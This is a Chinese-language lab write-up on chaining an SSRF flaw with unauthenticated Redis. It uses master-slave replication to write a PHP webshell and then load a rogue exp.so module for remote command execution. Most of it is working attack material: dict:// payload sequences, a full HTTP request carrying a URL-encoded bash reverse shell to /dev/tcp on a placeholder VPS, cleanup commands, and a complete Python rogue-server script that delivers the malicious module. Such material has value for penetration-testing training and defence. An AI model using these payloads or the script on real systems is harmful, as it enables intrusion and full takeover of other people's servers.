环境搭建
本机:192.168.88.108:6379 Redis主节点
靶机SSRF:192.168.88.208:8080 存在SSRF漏洞
靶机内网172.72.0.27:6379 Redis存在未授权
还是SSRF漏洞利用的靶场,只是我利用在本机起了一个Redis来当作主节点。
SSRF利用Redis主从复制写入Webshell
利用ssrf进行主从复制写入webshell
利用原理:目标机存在ssrf,目标机内网存在redis未授权漏洞,通过未授权全漏洞和Redis的主从复制条件来写入webshell
漏洞利用
第一步
在本机Redis上添加一个键值,我这里添加的键值是pullshell:<?php phpinfo();?>
,(实战中可以在服务器上起一个redis服务)
第二步
利用ssrf漏洞和redis未授权,让靶机内网的reids同步本机的redis内容。
命令:
dict://172.72.0.27:6379/slaveof:192.168.88.108:6379 #主从复制,让内网redis同步本机redis内容
dict://172.72.0.27:6379/config:set:dir:/tmp/ #设置文件保存路径(根据实际情况定,这里仅供测试)
dict://172.72.0.27:6379/config:set:dbfilename:test.php #设置保存文件名
dict://172.72.0.27:6379/save #保存文件
dict://172.72.0.27:6379/slaveof:no:one #断开主从复制(一定记得断开,不然无法对redis进行写入操作)
上述命令全部执行完成后,并且执行后全部返回OK即可完成写入webshell。
这里进入容器内查看保存的文件,发现文件已经写入/tmp/test.php
中:
SSRF利用Redis主从复制RCE
漏洞利用
利用主从复制加载exp.so文件来进行执行命令和反弹shell。
需要python起一个模拟的redis服务器,或者自己写一个,这里我自己修改的人家,能用但是有问题,就是可以主从复制连接但是连上之后就断开了,没有办法直接加载exp.so文件。只有要加载的时候运行脚本在主从复制连接还有断开的时候来加载exp.so文件
命令如下:
dict://172.72.0.27:6379/slaveof:192.168.88.108:1234
dict://172.72.0.27:6379/config:set:dbfilename:exp.so
dict://172.72.0.27:6379/MODULE:LOAD:./exp.so #运行这一步的时候再运行模拟redis的py脚本,下面会给脚本。
dict://172.72.0.27:6379/slaveof:no:one
dict://172.72.0.27:6379/system.exec:'id'
利用system.exec反弹shell
请求包:
POST / HTTP/1.1
Host: 192.168.88.208:8080
Content-Length: 110
Cache-Control: max-age=0
Origin: http://192.168.88.208:8080
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: zh-CN,zh;q=0.6
Referer: http://192.168.88.208:8080/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
url=dict://172.72.0.27:6379/system.exec:"bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F[vpsIP]%2F[vpsPort]%200%3E%261"
请求包中的[vpsIP]
和[vpsPort]
换成你自己的nc监听的地址和端口,如:nc监听地址是192.168.88.109端口是8888,那么请求体中这一段是这样的bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.88.109%2F8888%200%3E%261
。
注:查看的exp.so加载后有自己的反弹命令dict://172.72.0.27:6379/system.rev:[ip]:[port]
但是尝试后没成功。
相关信息
其他相关命令
system.exec 'rm -rf ./exp.so' #删除exp.so
module unload system #卸载system模块的加载
slaveof no one #关闭主从复制
module load ./exp.so #加载恶意模块exp.so
slaveof 192.168.172.129 1234 #设置主服务器的ip和端口
RogueServer脚本
模拟Redis服务脚本,用来加载exp.so,RogueServer.py脚本如下(能用,就是连接后光断):
import socket
from time import sleep
from optparse import OptionParser
def RogueServer(lport, CLRF, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0", lport))
sock.listen(10)
print("Server started and listening on port:", lport)
while True:
conn, address = sock.accept()
print("Connection from:", address)
sleep(5)
try:
while True:
data = conn.recv(1024)
if not data:
break
print(f"Received data: {data}")
if b"PING" in data:
resp = b"+PONG" + CLRF
conn.send(resp)
elif b"REPLCONF" in data:
resp = b"+OK" + CLRF
conn.send(resp)
elif b"PSYNC" in data or b"SYNC" in data:
resp = b"+FULLRESYNC " + b"Z"*40 + b" 1" + CLRF
conn.send(resp)
resp = b"$" + str(len(payload)).encode() + CLRF
conn.send(resp)
conn.send(payload)
conn.send(CLRF)
# Continue to listen for further commands after sending the payload
continue
elif b"MODULE LOAD" in data:
if b"./exp.so" in data:
resp = b"+OK" + CLRF
conn.send(resp)
print("Module exp.so loaded successfully.")
else:
resp = b"-ERR Module not found" + CLRF
conn.send(resp)
else:
# Handle other commands if needed
resp = b"-ERR Unknown command" + CLRF
conn.send(resp)
except ConnectionResetError:
print("Connection reset by peer:", address)
except Exception as e:
print(f"An error occurred: {e}")
finally:
conn.close()
print("Connection closed:", address)
if __name__ == "__main__":
parser = OptionParser()
parser.add_option("--lport", dest="lp", type="int", help="rogue server listen port, default 21000", default=21000, metavar="LOCAL_PORT")
parser.add_option("-f", "--exp", dest="exp", type="string", help="Redis Module to load, default exp.so", default="exp.so", metavar="EXP_FILE")
(options, args) = parser.parse_args()
lport = options.lp
exp_filename = options.exp
CLRF = b"\r\n"
try:
payload = open(exp_filename, "rb").read()
except FileNotFoundError:
print(f"Error: File {exp_filename} not found.")
exit(1)
print("Start listening on port: {}".format(lport))
print("Load the payload: {}".format(exp_filename))
try:
RogueServer(lport, CLRF, payload)
except KeyboardInterrupt:
print("\nServer stopped by user.")
exp.so来源:https://github.com/Dliv3/redis-rogue-server
相关链接
https://github.com/r35tart/Penetration_Testing_Case/blob/master/通过 SSRF 操作 Redis 主从 RCE.pdf
https://www.cnblogs.com/xiaozi/p/13089906.html
https://github.com/Dliv3/redis-rogue-server